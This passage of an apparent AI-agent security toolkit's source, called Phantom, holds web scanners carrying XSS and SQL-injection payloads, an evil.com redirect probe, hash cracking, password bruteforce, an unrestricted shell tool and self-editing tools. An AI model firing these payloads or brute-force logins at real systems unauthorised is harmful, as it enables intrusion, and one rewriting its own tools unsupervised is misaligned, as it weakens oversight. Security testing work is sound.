"(none)"} → ACAO: ${acao}${creds ? `, Credentials: ${creds}` : ""}`); + } catch (e: any) { r.push(` Origin: ${origin} → ${(e.message || "").substring(0, 50)}`); } + } + if (r.some(l => l.includes("*") || (l.includes("evil.com") && l.includes("https://evil.com")))) r.push(`\n⚠ Vulnerable to CORS attacks!`); + return r.join("\n"); + } catch (e: any) { return `[CORS Error] ${e.message}`; } +} + +// ── JWT DECODE ── +async function jwtDecode(input: string): Promise { + try { + const parts = input.trim().split("."); + if (parts.length !== 3) return `[JWT] Expected 3 parts, got ${parts.length}`; + const b64u = (s: string) => s.replace(/-/g, "+").replace(/_/g, "/"); + const decode = (s: string) => { + try { return JSON.stringify(JSON.parse(Buffer.from(b64u(s), "base64").toString()), null, 2); } + catch { return Buffer.from(b64u(s), "base64").toString(); } + }; + return `🔐 JWT\n── Header ──\n${decode(parts[0])}\n── Payload ──\n${decode(parts[1])}\n── Signature ──\n${parts[2].substring(0, 40)}…`; + } catch (e: any) { return `[JWT Error] ${e.message}`; } +} + +// ── HASH CRACK ── +async function hashCrack(input: string): Promise { + try { + const hash = input.trim(); + if (/^[a-f0-9]{32}$/i.test(hash)) { + const r = await fetch(`https://www.nitrxgen.net/api/md5/${hash}`, { signal: AbortSignal.timeout(10000) }); + const text = await r.text(); + if (text?.trim()) return `🔓 MD5 cracked: ${hash} → ${text.trim()}`; + } + if (/^[a-f0-9]{40}$/i.test(hash)) { + const r = await fetch(`https://www.nitrxgen.net/api/md5/${hash}`, { signal: AbortSignal.timeout(10000) }); // nitrxgen might not support SHA1 + const text = await r.text(); + if (text?.trim()) return `🔓 Hash cracked: ${hash} → ${text.trim()}`; + } + return `[Hash Crack] Not found: ${hash}. Supports MD5 (32 hex) hashes.`; + } catch (e: any) { return `[Hash Crack Error] ${e.message}`; } +} + +// ── WEB APP SECURITY ────────────────────────────────────── + +/** Directory Bruteforce — probes 30+ common web paths */ +async function dirBruteforce(input: string): Promise { + try { + const url = input.startsWith("http") ? input.replace(/\/+$/, "") : `https://${input.replace(/\/+$/, "")}`; + const paths = ["/admin","/api","/.git","/.env","/backup","/wp-admin","/login","/config","/robots.txt","/.htaccess","/phpinfo.php","/test","/uploads","/debug","/graphql","/swagger","/api/v1","/health","/actuator","/console","/jenkins","/phpmyadmin","/cgi-bin","/server-status","/shell","/crossdomain.xml","/.well-known/security.txt","/metrics","/dump","/logs"]; + const results = (await Promise.allSettled(paths.map(async p => { + try { + const r = await fetch(url + p, { signal: AbortSignal.timeout(5000) }); + if (r.status !== 404) return ` ${r.status} ${url}${p}`; + } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + if (!results.length) return `[DirBrute] No interesting paths at ${url}`; + return `🔍 Dir Bruteforce — ${results.length} hits on ${url}\n${results.join("\n")}`; + } catch (e: any) { return `[DirBrute Error] ${e.message}`; } +} + +/** XSS Scanner — injects payloads, checks for reflection */ +async function xssScan(input: string): Promise { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const payloads = ["", "\">", "'\">", "{{constructor.constructor('alert(1)')()}}", "'';!--\"=&{()}"]; + const results = (await Promise.allSettled(payloads.map(async p => { + try { + const testUrl = url.includes("?") ? `${url}&q=${encodeURIComponent(p)}` : `${url}?q=${encodeURIComponent(p)}`; + const r = await fetch(testUrl, { signal: AbortSignal.timeout(5000) }); + const text = await r.text(); + if (text.includes(p.substring(0, 15))) return ` ⚠ ${p.substring(0, 25)} reflected at ${testUrl.substring(0, 60)}`; + } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + if (!results.length) return `[XSS] No obvious reflection at ${url}`; + return `🚨 XSS — ${results.length} reflection(s) on ${url}\n${results.join("\n")}`; + } catch (e: any) { return `[XSS Error] ${e.message}`; } +} + +/** SQLi Detection — sends SQLi payloads, checks error signatures */ +async function sqlDetect(input: string): Promise { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const payloads = ["' OR '1'='1", "' OR 1=1--", "' UNION SELECT 1--", "' AND 1=1--", "' AND SLEEP(3)--", "'; DROP TABLE users--", "' OR '1'='1' /*", "' OR 1=2--"]; + const results = (await Promise.allSettled(payloads.map(async p => { + try { + const testUrl = url.includes("?") ? url.replace(/([=?&])[^=&]+$/, `$1${encodeURIComponent(p)}`) : `${url}?id=${encodeURIComponent(p)}`; + const r = await fetch(testUrl, { signal: AbortSignal.timeout(8000) }); + const text = await r.text().catch(() => ""); + const sigs = ["sql", "mysql", "sqlite", "ora-", "syntax", "unclosed", "quotation", "mysql_fetch", "pg_", "odbc_", "jdbc", "driver"]; + if (sigs.some(s => text.toLowerCase().includes(s))) return ` ⚠ ${p.substring(0, 20)} → SQL error at ${testUrl.substring(0, 50)}`; + } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + if (!results.length) return `[SQLi] No SQL errors at ${url}`; + return `⚠️ SQLi — ${results.length} potential injection(s) on ${url}\n${results.join("\n")}`; + } catch (e: any) { return `[SQLi Error] ${e.message}`; } +} + +/** Open Redirect — tests common redirect params for external redirects */ +async function openRedirect(input: string): Promise { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const params = ["url","redirect","redirect_uri","return","return_to","r","next","target","redir","dest","out","to","go","callback","ref"]; + const ext = "https://evil.com"; + const results = (await Promise.allSettled(params.map(async p => { + try { + const testUrl = url.includes("?") ? `${url}&${p}=${encodeURIComponent(ext)}` : `${url}?${p}=${encodeURIComponent(ext)}`; + const r = await fetch(testUrl, { redirect: "manual", signal: AbortSignal.timeout(5000) }); + if ((r.headers.get("location") || "").includes("evil.com")) return ` ⚠ ${p}= → external redirect`; + } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + if (!results.length) return `[OpenRedirect] No vulnerable params at ${url}`; + return `🔀 Redirect Check — ${results.length} open redirect(s)\n${results.join("\n")}`; + } catch (e: any) { return `[OpenRedirect Error] ${e.message}`; } +} + +// ── OSINT TOOLS ─────────────────────────────────────────── + +/** Shodan Search — requires SHODAN_API_KEY */ +async function shodanSearch(input: string): Promise { + const key = process.env.SHODAN_API_KEY; + if (!key) return `[Shodan] Set SHODAN_API_KEY env var. Get one at https://account.shodan.io`; + try { + const q = encodeURIComponent(input.trim()); + const r = await fetch(`https://api.shodan.io/shodan/host/search?key=${key}&query=${q}&limit=10`, { signal: AbortSignal.timeout(15000) }); + const d = await r.json() as any; + if (!d.matches?.length) return `[Shodan] No results for "${input}"`; + const lines = d.matches.slice(0, 10).map((m: Record) => ` ${m.ip_str}:${m.port} ${m.transport||""} ${(m.product||m.data||"").substring(0, 50)}`); + return `🌐 Shodan — ${d.total} result(s) for "${input}"\n${lines.join("\n")}`; + } catch (e: any) { return `[Shodan Error] ${e.message}`; } +} + +/** Email Breach Check — tries HIBP API (needs HIBP_API_KEY) */ +async function emailBreach(input: string): Promise { + try { + const email = input.trim().toLowerCase(); + if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[EmailBreach] Invalid email`; + const key = process.env.HIBP_API_KEY; + if (!key) return `[EmailBreach] Set HIBP_API_KEY for breach lookups. Get one at haveibeenpwned.com/API/Key`; + const r = await fetch(`https://haveibeenpwned.com/api/v3/breachedaccount/${encodeURIComponent(email)}?truncateResponse=true`, { + headers: { "hibp-api-key": key, "User-Agent": "Phantom-Security-Agent" }, + signal: AbortSignal.timeout(10000) + }); + if (r.status === 404) return `🔒 ${email} — No known breaches ✅`; + if (r.status === 200) { + const breaches = await r.json() as any[]; + return `⚠️ ${email} — ${breaches.length} breach(es)\n${breaches.slice(0, 10).map((b: Record) => ` 🔴 ${b.Name} (${b.BreachDate||"?"})`).join("\n")}`; + } + return `[EmailBreach] HTTP ${r.status}`; + } catch (e: any) { return `[EmailBreach Error] ${e.message}`; } +} + +/** GitHub Dork — searches code for secrets/keys */ +async function githubDork(input: string): Promise { + try { + const query = encodeURIComponent(input.trim()); + const r = await fetch(`https://api.github.com/search/code?q=${query}&per_page=10`, { + headers: { "Accept": "application/vnd.github.v3+json", "User-Agent": "Phantom-Cyber-Tool" }, + signal: AbortSignal.timeout(15000) + }); + if (r.status === 403) return `[GitHubDork] Rate limited. Authenticated: 30 req/min, unauthenticated: 10. Try again.`; + const d = await r.json() as any; + if (!d.items?.length) return `[GitHubDork] No results for "${input}"`; + return `🔍 GitHub Dork — ${d.total_count} result(s) for "${input}"\n${d.items.slice(0, 10).map((i: Record) => ` 📄 ${i.repository?.full_name||"?"}/${i.name}`).join("\n")}`; + } catch (e: any) { return `[GitHubDork Error] ${e.message}`; } +} + +/** Subdomain Takeover Check — tests CNAME for unclaimed cloud services */ +async function subTakeover(input: string): Promise { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=CNAME`, { signal: AbortSignal.timeout(8000) }); + const d = await r.json() as any; + const cnames = d?.Answer?.filter((a: Record) => a.type === 5).map((a: Record) => a.data) || []; + if (!cnames.length) return `[SubTakeover] No CNAME records for ${domain}`; + const svcs: Record = { + "cloudfront.net":"AWS CloudFront","s3.amazonaws.com":"AWS S3","github.io":"GitHub Pages", + "herokuapp.com":"Heroku","azurewebsites.net":"Azure App Service","trafficmanager.net":"Azure TM", + "pantheonsite.io":"Pantheon","squarespace.com":"Squarespace","zendesk.com":"Zendesk", + "freshdesk.com":"Freshdesk","helpscout.net":"Help Scout","readme.io":"ReadMe", + "unbounce.com":"Unbounce","statuspage.io":"Statuspage", + }; + const lines = cnames.map((c: string) => { + const svc = Object.entries(svcs).find(([s]: [string, string]) => c.includes(s)); + return svc ? ` ⚠ → ${c.trim()} — ${svc[1]} takeover possible!` : ` ℹ → ${c.trim()}`; + }); + return `🔍 Subdomain Takeover — ${domain}\n${lines.join("\n")}`; + } catch (e: any) { return `[SubTakeover Error] ${e.message}`; } +} + +// ── PLUGIN SYSTEM ───────────────────────────────────────── + +/** Load external plugins from ~/.config/phantom/plugins/ */ +async function pluginLoad(input: string): Promise { + try { + const pluginDir = (input || "").trim() || resolve(homedir(), ".config", "phantom", "plugins"); + if (!existsSync(pluginDir)) mkdirSync(pluginDir, { recursive: true }); + const files = readdirSync(pluginDir).filter((f: string) => f.endsWith(".mjs") || f.endsWith(".js")); + if (!files.length) return `[Plugin] No plugins in ${pluginDir}. Use @plugin_create to make one.`; + let loaded = 0; + for (const f of files) { + try { + const mod = await import(pathToFileURL(resolve(pluginDir, f)).href) as any; + if (mod.name && typeof mod.execute === "function") { + hackerTools[mod.name] = hackerTools[mod.name] || { description: mod.description || f, execute: mod.execute }; + loaded++; + } + } catch (e: any) { /* skip broken */ } + } + return loaded ? `🔌 Loaded ${loaded} plugin(s) from ${pluginDir}` : `[Plugin] No valid modules in ${pluginDir}`; + } catch (e: any) { return `[Plugin Error] ${e.message}`; } +} + +/** Create a new plugin skeleton */ +async function pluginCreate(input: string): Promise { + try { + const [name, ...rest] = input.split("|"); + const n = (name || "").trim().toLowerCase().replace(/[^a-z0-9_]/g, "_"); + const desc = (rest[0] || "Custom Phantom plugin").trim(); + if (!n) return `[Plugin] Format: tool_name|description`; + const pluginDir = resolve(homedir(), ".config", "phantom", "plugins"); + if (!existsSync(pluginDir)) mkdirSync(pluginDir, { recursive: true }); + const code = `// Phantom Plugin: ${n}\n// ${desc}\nexport const name = "${n}";\nexport const description = "${desc}";\nexport async function execute(input) {\n try {\n return \`[${n}] Processed: \${input}\`;\n } catch (e) { return \`[\${name} Error] \${e.message}\`; }\n}\n`; + const fp = resolve(pluginDir, `${n}.mjs`); + writeFileSync(fp, code, "utf-8"); + try { + const mod = await import(pathToFileURL(fp).href) as any; + hackerTools[mod.name] = { description: mod.description, execute: mod.execute }; + return `🔌 Plugin created + loaded: @${n}\n ${fp}`; + } catch { + return `🔌 Plugin created: @${n}\n ${fp}\n Run @plugin_load to activate.`; + } + } catch (e: any) { return `[Plugin Error] ${e.message}`; } +} + +// ── REPORTING ───────────────────────────────────────────── + +/** Export report to styled HTML (browser → Ctrl+P = PDF) */ +async function reportExport(input: string): Promise { + try { + const reportsDir = resolve(homedir(), ".config", "phantom", "reports"); + const name = input.trim(); + if (!name && existsSync(reportsDir)) { + const all = readdirSync(reportsDir).filter((f: string) => f.endsWith(".md")); + if (!all.length) return `[ReportExport] No .md reports found in ${reportsDir}`; + return `[ReportExport] Usage: @report_export|report_name\nAvailable: ${all.join(", ")}`; + } + const fp = resolve(reportsDir, name.includes(".") ? name : `${name}.md`); + if (!existsSync(fp)) return `[ReportExport] Not found: ${name}`; + const content = readFileSync(fp, "utf-8"); + const html = `Phantom — ${name}${ + content.replace(/&/g,"&").replace(//g,">") + .replace(/^#### (.+)$/gm,"

$1

").replace(/^### (.+)$/gm,"

$1

") + .replace(/^## (.+)$/gm,"

$1

").replace(/^# (.+)$/gm,"

$1

") + .replace(/\*\*(.+?)\*\*/g,"$1").replace(/`{3}([\s\S]*?)`{3}/g,"
$1
") + .replace(/`(.+?)`/g,"$1").replace(/\n/g,"
") + }`; + const htmlPath = fp.replace(/\.\w+$/, ".html"); + writeFileSync(htmlPath, html, "utf-8"); + return `📄 Report exported: ${htmlPath}\n Open in browser → Ctrl+P → Save as PDF.`; + } catch (e: any) { return `[ReportExport Error] ${e.message}`; } +} + +export const hackerTools: Record = { + shell: { + description: + "Execute ANY shell command on the system. Use for: running tools, scripts, file operations, network scans, system info, package management. Input: shell command string.", + execute: shell, + }, + web_fetch: { + description: + "Fetch a URL and return its content (HTML stripped, plain text). Use for: reading web pages, APIs, documentation, checking endpoints. Input: full URL including https://.", + execute: webFetch, + }, + decode: { + description: + "Auto-detect and decode encoded strings. Tries base64, hex, URL encoding, binary, and ROT13. Use for: decoding obfuscated strings, payloads, and encoded data. Input: the encoded string.", + execute: decode, + }, + file_analyze: { + description: + "Deep file analysis: file type detection by magic bytes, MD5/SHA1/SHA256 hashes, entropy calculation (detects packed/encrypted malware), and printable string extraction. Use for: malware analysis, file forensics, verifying file integrity. Input: absolute file path.", + execute: fileAnalyze, + }, + dns_lookup: { + description: + "DNS reconnaissance: resolves A, AAAA, MX, NS, TXT, CNAME, and SOA records for a domain. Use for: OSINT, domain recon, infrastructure discovery. Input: domain name (no http://).", + execute: dnsLookup, + }, + hash: { + description: + "Compute MD5, SHA1, SHA256 hash of text or a file. Use for: integrity checks, verifying downloads, fingerprinting. Input: text string or file path.", + execute: hash, + }, + + // ── NEW TOOLS ── + whois: { + description: + "WHOIS lookup for a domain. Returns registrar, dates, name servers, and contact info. Use for: OSINT, domain investigation, ownership discovery. Input: domain name (no http://).", + execute: whois, + }, + port_scan: { + description: + "TCP port scan a host. Scans common ports (FTP, SSH, HTTP, etc.) by default. Custom: host:port1,port2 or host:start-end. Use for: network recon, vulnerability assessment. Input: hostname or IP, optionally with port range.", + execute: portScan, + }, + http_headers: { + description: + "Fetch HTTP response headers from a URL using HEAD request. Shows status, security headers, server info, content-type. Use for: web recon, security header audit. Input: full URL including https://.", + execute: httpHeaders, + }, + ssl_check: { + description: + "Check SSL/TLS certificate details for a host. Shows issuer, validity, cipher, SANs, days remaining. Use for: certificate expiry monitoring, TLS security audit. Input: hostname (optionally :port, default 443).", + execute: sslCheck, + }, + sub_enum: { + description: + "Enumerate subdomains via certificate transparency logs (crt.sh). Use for: OSINT, attack surface mapping, discovering hidden assets. Input: domain name (no http://).", + execute: subdomainEnum, + }, + crawl: { + description: + "Crawl a web page: fetch HTML, extract all links, forms, and script sources. Use for: web recon, asset discovery, spidering. Input: full URL including https://.", + execute: webCrawl, + }, + vt_check: { + description: + "Check a file hash against VirusTotal. Shows detection ratio, file type, names, and top malicious engine results. Requires VT_API_KEY env var. Input: MD5/SHA1/SHA256 hash.", + execute: vtCheck, + }, + yara: { + description: + "Scan a file with YARA rules. Format: rules_file|target_path, or just target_path. Use for: malware pattern matching, IOC scanning. Requires yara CLI installed. Input: rules_and_target.", + execute: yaraScan, + }, + + // ── AUTO WORKFLOWS ── + recon: { + description: + "FULL AUTOMATED RECON: runs WHOIS → DNS → subdomains → HTTP headers → SSL → port scan → crawl. Saves timestamped report to disk. Use for: one-shot surface mapping, asset discovery, target profiling. Input: domain or URL.", + execute: recon, + }, + cve_search: { + description: + "Search NVD (National Vulnerability Database) for CVEs matching a query. Shows CVE ID, CVSS score, severity, description, and NVD link. Use for: finding known vulns for software/version. Input: search query (e.g. 'apache 2.4.49' or 'nginx 1.20').", + execute: cveSearch, + }, + searchsploit: { + description: + "Search for public exploits. Tries local searchsploit CLI first, falls back to packetstorm. Use for: finding PoC exploits for a vulnerability or software. Input: search query (e.g. 'WordPress 5.8' or 'CVE-2024-XXXX').", + execute: searchsploit, + }, + bruteforce: { + description: + "Multi-protocol brute force login. Supports SSH, FTP, HTTP POST, and MySQL. Format: protocol|target|user|pass1,pass2,pass3. Use for: password testing, credential auditing. Input: protocol|target|username|comma-separated-passwords.", + execute: bruteforceFn, + }, + + // ── FILE TOOLS ── + file_read: { + description: + "Read the contents of any file on the system. Use for: viewing source code, configs, logs, data files. Shows full content (max 100KB). Input: absolute or relative file path.", + execute: fileRead, + }, + file_write: { + description: + "Write content to a file (creates or overwrites). Creates parent directories automatically. Use for: saving generated code, writing scripts, creating config files. Format: path|content — separate path and content with pipe.", + execute: fileWrite, + }, + file_edit: { + description: + "Find and replace text in an existing file. Uses exact string matching (not regex). Use for: patching code, modifying configs, fixing errors. Format: path|old_string|new_string — pipe-separated.", + execute: fileEdit, + }, + file_search: { + description: + "Search file contents for a text pattern across a directory. Uses ripgrep if available. Use for: finding code references, error messages, configuration values. Format: [directory|]pattern — defaults to current dir.", + execute: fileSearch, + }, + file_list: { + description: + "List files and directories in a path. Shows file sizes, dir count. Use for: exploring project structure, finding files, directory recon. Input: directory path (defaults to current dir).", + execute: fileList, + }, + + // ── SELF TOOLS ── + self_info: { + description: + "Show Phantom's own information: version, runtime, platform, all available tools, source file tree, LLM connection status, config paths. Use for: self-awareness, capability discovery, debugging.", + execute: selfInfo, + }, + self_read: { + description: + "Read Phantom's own source files (locked to project directory). Use for: code review, understanding architecture, self-modification planning. Input: relative path from project root (e.g. 'phantom.mjs' or 'src/core/hacker-tools.ts').", + execute: selfRead, + }, + self_edit: { + description: + "Edit Phantom's own source code (locked to project directory). Use for: self-improvement, adding tools, fixing bugs, evolving capabilities. Format: relative_path|old_string|new_string — pipe-separated.", + execute: selfEdit, + }, + + // ── AUTO SCAN ── + vuln_scan: { + description: + "FULL AUTOMATED VULNERABILITY SCAN: runs Phase 1 recon (WHOIS/DNS/subdomains/headers/SSL/ports) → Phase 2 CVE search → Phase 3 exploit search → Phase 4 brute force. Saves comprehensive markdown report with all findings. Input: domain or URL.", + execute: vulnScan, + }, + report_save: { + description: + "Save text content as a timestamped markdown report file. Use for: documenting findings, saving scan results, creating evidence. Format: name|content — name is the report filename (saved to ~/.config/phantom/reports/).", + execute: reportSave, + }, + session_save: { + description: + "Save current Phantom session state to a named session file. Use for: bookmarking work, preserving findings between runs. Input: session name (alphanumeric, underscores/hyphens).", + execute: sessionSave, + }, + session_load: { + description: + "Load a previously saved Phantom session. Use for: resuming work, reviewing past findings. Input: session name.", + execute: sessionLoad, + }, + code_gen: { + description: + "Generate code using OpenAI LLM (requires OPENAI_API_KEY). Falls back to a stub template. Format: prompt|language|output_path. Use for: writing functions, scripts, exploits, tools autonomously.", + execute: codeGen, + }, + self_add_tool: { + description: + "Generate a new Phantom tool using LLM and save it for integration. Requires OPENAI_API_KEY. Input: natural language description of the tool (e.g. 'check if a site uses HSTS header'). Saves generated code to ~/.config/phantom/generated/.", + execute: selfAddTool, + }, + + // ── KNOWLEDGE BASE ── + knowledge_add: { + description: + "Add an entry to Phantom's persistent knowledge base. Use for: saving findings, techniques, commands for future reference. Format: tag1,tag2|content. Searchable with knowledge_search.", + execute: knowledgeAdd, + }, + knowledge_search: { + description: + "Search Phantom's knowledge base by keyword or tag. Use for: retrieving past findings, techniques, learned information. Input: search query.", + execute: knowledgeSearch, + }, + + // ── PLAYBOOK SYSTEM ── + playbook_create: { + description: + "Create a new executable playbook (multi-step automation script). Uses LLM if OPENAI_API_KEY set. Format: name|description|step1,step2,... or just name|description for LLM generation.", + execute: playbookCreate, + }, + playbook_list: { + description: + "List all available playbooks with descriptions and step counts. Includes 4 built-in playbooks plus custom. Playbooks can chain other playbooks via playbook_run steps.", + execute: playbookList, + }, + playbook_run: { + description: + "Execute a playbook against a target. Steps run sequentially with variable substitution ({{target}}). Supports chaining: use playbook_run step to call another playbook. Input: playbook_name|target=example.com,port=80. Returns full execution log.", + execute: playbookRun, + }, + playbook_edit: { + description: + "Modify a playbook: edit steps, change description, or append new steps. Format: name|step_num|tool|args|desc or name|desc|new_description or name|add|tool|args|desc.", + execute: playbookEdit, + }, + // ── NEW TOOLS ── + sandbox: { + description: + "SAFELY RUN a suspicious binary in an isolated sandbox environment. Creates temp directory, strace-monitor if available, captures syscalls (network/file/process), stdout/stderr, exit code, and SHA256 hash. Detects PE vs ELF vs script. Use for: malware dynamic analysis, behavioral testing, I/O monitoring. Format: path|args|timeout(seconds). Example: @sandbox|/tmp/suspicious.bin||30", + execute: sandboxExec, + }, + pe_analyze: { + description: + "Deep PE (Portable Executable) format analysis: DOS header, COFF header (machine/compile time/sections), optional header (entry point/image base/subsystem), section table with W+X detection, data directories, entropy calculation, packer detection (UPX/Themida/VMP). Use for: static malware analysis of Windows binaries, unpacking detection. Input: absolute path to PE file.", + execute: peAnalyze, + }, + elf_analyze: { + description: + "Deep ELF format analysis: class (32/64-bit), byte order, OS/ABI, type (EXEC/DYN/REL), machine arch, entry point, program headers with W+X detection, dynamic symbols (imported functions), entropy calculation, GNU_STACK checks. Use for: static analysis of Linux binaries, packer/reverse engineering. Input: absolute path to ELF file.", + execute: elfAnalyze, + }, + macro_scan: { + description: + "Analyze Office documents for malicious macros/VBA code. Scans OLE2 (.doc/.xls/.ppt), OOXML (.docx/.xlsm/.docm), and raw VBA/VBS scripts. Detects Auto-executing macros (Auto_Open, Document_Open), suspicious patterns (Shell, CreateObject, WScript, PowerShell, cmd.exe). Use for: phishing analysis, malware document triage. Input: path to document or script.", + execute: macroScan, + }, + strings_deep: { + description: + "Advanced string extraction with AI-style categorization. Extracts all printable strings (≥4 chars) and classifies into: URLs, email addresses, IP addresses, domains, file paths, potential secrets/keys, and other strings. Includes entropy calculation for packed file detection. Use for: malware string analysis, IOC discovery, binary triage. Input: absolute file path.", + execute: stringsDeep, + }, + hex_dump: { + description: + "Classic hex dump viewer with ASCII sidebar. Shows offset (hex), 16 bytes per row in hex format, and ASCII representation. Configurable offset and length. Use for: manual binary analysis, file header inspection, pattern matching. Format: path|offset|length. Default: offset=0, length=512 bytes (max 4096).", + execute: hexDump, + }, + extract_ioc: { + description: + "Extract Indicators of Compromise (IOCs) from text or files. Detects: IPv4 addresses, domains, URLs, email addresses, MD5/SHA1/SHA256 hashes, file paths. Filters private/local IPs and deduplicates. Use for: threat intelligence, log analysis, malware report parsing. Input: file path (auto-detected) or raw text.", + execute: extractIoc, + }, + proc_analyze: { + description: + "Deep process forensics inspection. Shows: process name/state/PPID/UID/threads, command line, working directory, executable, environment variables (with secrets detection), open file descriptors (sockets/pipes/files), network connections (TCP/UDP with state), memory regions (with RWX detection). Use for: live malware analysis, process investigation, incident response. Input: PID number.", + execute: procAnalyze, + }, + + // ── RECON TOOLS ── + geoip: { + description: + "IP geolocation lookup via ip-api.com (free, no key). Shows country, region, city, coordinates, ISP, ASN. Use for: locating target servers, tracing attack origins. Input: IP address or domain.", + execute: geoip, + }, + dns_zone: { + description: + "Test DNS zone transfer (AXFR) on all authoritative name servers. Use for: finding DNS misconfigurations that leak internal network structure. Input: domain name.", + execute: dnsZoneTransfer, + }, + http_methods: { + description: + "Fuzz HTTP methods on a target URL. Tests GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD, TRACE, CONNECT. Shows status codes and Allow headers. Input: URL.", + execute: httpMethods, + }, + robots_txt: { + description: + "Fetch and analyze robots.txt from a target. Shows all rules, disallowed paths, sitemaps, and comments. Use for: discovering hidden/disallowed endpoints. Input: domain or URL.", + execute: robotsTxt, + }, + email_verify: { + description: + "Validate email format and check domain MX records. Use for: verifying email deliverability, recon on email infrastructure. Input: email address.", + execute: emailVerify, + }, + + // ── UTILITY TOOLS ── + reverse_dns: { + description: + "Reverse DNS lookup (PTR record) for an IP address. Shows the domain names associated with the IP. Use for: identifying hosts, email server validation. Input: IP address.", + execute: reverseDns, + }, + wayback: { + description: + "Query Wayback Machine for historical URL snapshots of a domain. Shows timestamps, status codes, and URLs. Use for: recon on old endpoints, content discovery. Input: domain or URL.", + execute: wayback, + }, + cert_expiry: { + description: + "Check SSL certificate expiry date and days remaining. Uses openssl to fetch and parse cert dates. Use for: monitoring cert expiration, security audits. Input: domain name.", + execute: certExpiry, + }, + cors_test: { + description: + "Test for CORS misconfigurations by sending requests with various Origin headers. Detects wildcard origins, null origin acceptance, and credential leakage. Input: URL.", + execute: corsTest, + }, + jwt_decode: { + description: + "Decode a JWT token header and payload without verification. Shows the JSON content of each part. Use for: analyzing auth tokens, testing JWT implementations. Input: full JWT string.", + execute: jwtDecode, + }, + hash_crack: { + description: + "Look up MD5 hash in online rainbow tables (nitrxgen API). Use for: cracking password hashes, identifying plaintext. Input: MD5 hash (32 hex chars).", + execute: hashCrack, + }, + + // ── WEB APP SECURITY ── + dir_bruteforce: { + description: + "Web directory brute force: probes 30+ common paths (admin, api, .git, .env, uploads, etc.). Uses parallel requests. Use for: finding hidden endpoints, admin panels, exposed files. Input: URL or domain.", + execute: dirBruteforce, + }, + xss_scan: { + description: + "Cross-Site Scripting scanner: injects multiple XSS payloads via query params and checks if they reflect. Use for: detecting XSS vulnerabilities. Input: URL (with or without params).", + execute: xssScan, + }, + sql_detect: { + description: + "SQL Injection detection: sends common SQLi payloads (' OR 1=1--, UNION SELECT, etc.) and scans for SQL error signatures. Use for: finding SQLi entry points. Input: URL with parameter.", + execute: sqlDetect, + }, + open_redirect: { + description: + "Open redirect scanner: tests 15 common redirect parameters (url, redirect, next, etc.) for external redirects. Use for: finding unvalidated redirects. Input: URL.", + execute: openRedirect, + }, + + // ── OSINT ── + shodan_search: { + description: + "Search Shodan for internet-connected devices, open ports, and banners. Requires SHODAN_API_KEY. Use for: OSINT, exposed devices, infrastructure discovery. Input: search query.", + execute: shodanSearch, + }, + email_breach: { + description: + "Check if an email appears in known data breaches via HIBP API (requires HIBP_API_KEY). Shows breach names and dates. Use for: OSINT, compromise investigation. Input: email address.", + execute: emailBreach, + }, + github_dork: { + description: + "Search GitHub source code for secrets, keys, and sensitive data via GitHub Code Search. Use for: finding exposed credentials, API keys, and configs. Input: search query.", + execute: githubDork, + }, + sub_takeover: { + description: + "Check subdomain for potential takeover via unclaimed CNAME records. Checks 15+ cloud services (AWS S3, CloudFront, GitHub Pages, Heroku, Azure, etc.). Use for: identifying dangling DNS. Input: domain.", + execute: subTakeover, + }, + + // ── PLUGIN SYSTEM ── + plugin_load: { + description: + "Load external plugin tools from ~/.config/phantom/plugins/. Imports .mjs/.js modules with name/description/execute exports. Use for: extending Phantom without modifying core. Input: optional plugin directory path.", + execute: pluginLoad, + }, + plugin_create: { + description: + "Create a new Phantom plugin skeleton. Format: name|description. Saves to ~/.config/phantom/plugins/ and attempts auto-load. Use for: quickly extending toolset. Input: tool_name|description.", + execute: pluginCreate, + }, + + // ── REPORTING ── + report_export: { + description: + "Export a saved markdown report to styled dark-themed HTML. Open in browser → Ctrl+P → Save as PDF. Use for: sharing findings, report formatting. Input: report name (without .md).", + execute: reportExport, + }, + + // ── WEB CLICKERS ── + web_click: { + description: "Navigate and click web page elements by index, link text, or URL. method: index (click Nth link), text (by link text), selector (URL). Input: url|selector|method.", + execute: webClick, + }, + web_links: { + description: "Extract and categorize all links from a page (internal/external/resources). Input: URL.", + execute: webLinks, + }, + web_form: { + description: "Extract HTML forms and submit with custom field values. Input: url|field1=val1|field2=val2.", + execute: webForm, + }, + web_snapshot: { + description: "Get structured text snapshot of a page: headings, meta, links, content. Input: URL.", + execute: webSnapshot, + }, + + // ── WORKSPACE (Project Management) ── + project_create: { + description: "Create a new project workspace. Stores metadata in ~/.config/phantom/projects/. Input: project name.", + execute: projectCreate, + }, + project_list: { + description: "List all projects with file/note counts and age. Input: none.", + execute: projectList, + }, + project_info: { + description: "Show project details: created date, files, notes, tools used. Input: project name.", + execute: projectInfo, + }, + project_file_add: { + description: "Add a file to a project by copying it into the project directory. Input: project|filepath.", + execute: projectFileAdd, + }, + project_note: { + description: "Add or list project notes. Format: project|note_text (or just project name to list). Input: project|note.", + execute: projectNote, + }, + project_switch: { + description: "Set active project for context. Input: project name.", + execute: projectSwitch, + }, + scope: { + description: "Manage authorized target scope for bug bounty / pentesting. Commands: add , remove , check , clear, export. Input: command + args.", + execute: scope, + }, + katana: { + description: "External: ProjectDiscovery katana — fast web crawler for URL discovery. Input: url [options]. Requires katana binary.", + execute: katana, + }, + subfinder: { + description: "External: ProjectDiscovery subfinder — passive subdomain enumeration. Input: domain [options]. Requires subfinder binary.", + execute: subfinder, + }, + ffuf: { + description: "External: ffuf — blazing-fast web fuzzer. Discovers paths, params, vhosts. Input: ffuf args. Requires ffuf binary.", + execute: ffuf, + }, + httpx: { + description: "External: ProjectDiscovery httpx — probe for alive web servers. Input: domain or file. Requires httpx binary.", + execute: httpx, + }, + nuclei: { + description: "External: ProjectDiscovery nuclei — template-based vulnerability scanner. Input: URL [options]. Requires nuclei binary.", + execute: nuclei, + }, + amass: { + description: "External: OWASP amass — thorough subdomain enumeration. Modes: enum, intel, db. Input: domain [mode]. Requires amass 